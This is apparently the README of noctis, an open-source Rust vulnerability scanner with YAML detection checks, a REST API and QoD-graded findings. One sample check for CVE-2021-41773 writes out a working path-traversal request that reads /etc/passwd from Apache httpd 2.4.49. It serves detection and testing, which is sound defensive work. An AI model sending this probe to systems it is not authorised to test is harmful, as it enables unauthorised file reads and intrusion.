noctis 0.5.0

Open-source black-box vulnerability scanner: readable YAML checks that prove each bug on the live service, QoD-graded findings, REST API.
noctis-0.5.0 is not a library.

Why noctis?

  • Proof, not version guessing. A check raises a finding only when it observes the vulnerable behaviour: a file read through a traversal, an unauthenticated reply, an out-of-band callback. Each finding carries its evidence and a Quality-of-Detection (QoD) score from 0 to 100.
  • Each check is a readable YAML file. One file per vulnerability. You can read it, review it in a pull request, or write your own without recompiling.
  • Beyond HTTP. Raw TCP and UDP with verbatim bytes, TLS, SSH, SNMP, binary protocols, multi-step chains and a built-in out-of-band callback server.
  • One fast binary with a REST API. Built in Rust, made for automation and CI/CD, and also shipped as a small multi-arch container image with no OS and no shell.

Install

1. With cargo (crates.io)

cargo install noctis --locked
noctis feeds update          # downloads the detection feeds → ~/.local/share/noctis/feeds
noctis serve --port 8080

The crate is the engine. noctis feeds update installs the matching feed set from the GitHub Release (sha256-checked); run it again to update. Building needs a stable Rust toolchain plus pkg-config and the libssh2 headers (sudo apt-get install -y pkg-config libssh2-1-dev on Debian/Ubuntu).

2. With Docker

docker run --rm -p 8080:8080 ghcr.io/fdarkshadow/noctis:latest

The static scratch image (linux/amd64, linux/arm64) ships with the feeds at /feeds. Mount -v ./my-feeds:/feeds to use your own. Tags: latest, X.Y.Z, X.Y, and edge for main.

3. From source

git clone https://github.com/fDarkShadow/noctis && cd noctis
cargo build --release
./target/release/noctis serve --port 8080 --feeds-dir tests   # the checkout's feeds

The installation guide covers requirements, updates and offline installs.


Run a first scan

Give noctis a host and the services found on it (for example from nmap: a port and a service name). It runs every feed whose services: match against the live service:

curl -s -X POST http://localhost:8080/scans \
  -H "Content-Type: application/json" \
  -d '{
    "host": "10.0.0.1",
    "services": [
      {"port": 80,  "service": "http"},
      {"port": 443, "service": "https"}
    ],
    "tests": ["vulnerabilities/"]
  }'
# → {"id": "…"}

curl -s http://localhost:8080/scans/<id>/findings
[
  {
    "cve_ids": ["CVE-2021-41773"],
    "severity": "critical",
    "confidence": 0.95,
    "qod": 75,
    "evidence": { "response_excerpt": "LFI confirmed — /etc/passwd via path traversal" }
  }
]

"tests": ["vulnerabilities/"] finds the installed feeds with all three install methods. Filters (by CVE, tag or category), authenticated scans, webhooks and out-of-band callbacks are described in the REST API guide.


What it detects

875 vulnerability tests in

1314 distinct CVEs, plus

They cover headline CVEs (Apache, Confluence, F5 BIG-IP, Fortinet, Ivanti, Citrix, VMware, GitLab, Jenkins…) and protocol-level exposures: unauthenticated Redis, MongoDB, Elasticsearch or Docker API; SMBv1 and SMB signing; weak TLS and SSH configurations; default credentials, and more. Browse and search them by CVE in the feed catalog.

A feed is plain YAML. This excerpt is the first check of apache-httpd/CVE-2021-41773.yaml:

uid: a3c7f4e2-1b9d-4f6a-8e3c-2d5a0f1e9b4c
name: "Apache httpd 2.4.49 Path Traversal / RCE (CVE-2021-41773)"
cves: [CVE-2021-41773]
severity: critical
category: rce
services: [http, https]
confidence_base: 0.30

steps:
  - id: lfi-probe
    action: tcp_connect            # raw bytes: the encoded path is sent verbatim
    port: "{{port}}"
    send: "GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: lfi_resp

  - id: lfi-match
    action: match
    source: lfi_resp.banner
    pattern: "root:[x*!]:0:0"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "LFI confirmed — /etc/passwd via path traversal"
      stop: true

Writing feeds documents every action, variable and the QoD scale.


How it compares

noctis sits between Nuclei and OpenVAS: its checks are data-driven YAML like Nuclei templates, and its findings are graded with a QoD score like OpenVAS. Unlike either, a finding needs a step that proved the bug. Mature scanners still ship far more checks; noctis's set is smaller and growing. The details are in noctis vs Nuclei vs OpenVAS.


Documentation

Page What's in it
Installation cargo, Docker, source builds, updates, offline installs
Getting started a first scan, step by step
Usage & REST API endpoints, request fields, filters, credentials, OOB, performance
Writing feeds feed format, actions, variables, QoD
Docker image tags, feed mounts, compose
Feed catalog every check, searchable by CVE and product

Contributing

New feeds, engine work, mocks and docs are welcome. Start with CONTRIBUTING.md: it covers the dev setup and the end-to-end test infrastructure (Ansible + rootless Podman mocks, a true positive and a true negative for every feed). CLAUDE.md is the full authoring reference.

Questions and ideas go to GitHub Discussions. To report a security issue in noctis itself, follow SECURITY.md rather than opening a public issue.

Support

noctis is free and open source. If it saves you time, you can buy me a coffee. It funds new feeds and engine work.

License

MIT. See LICENSE.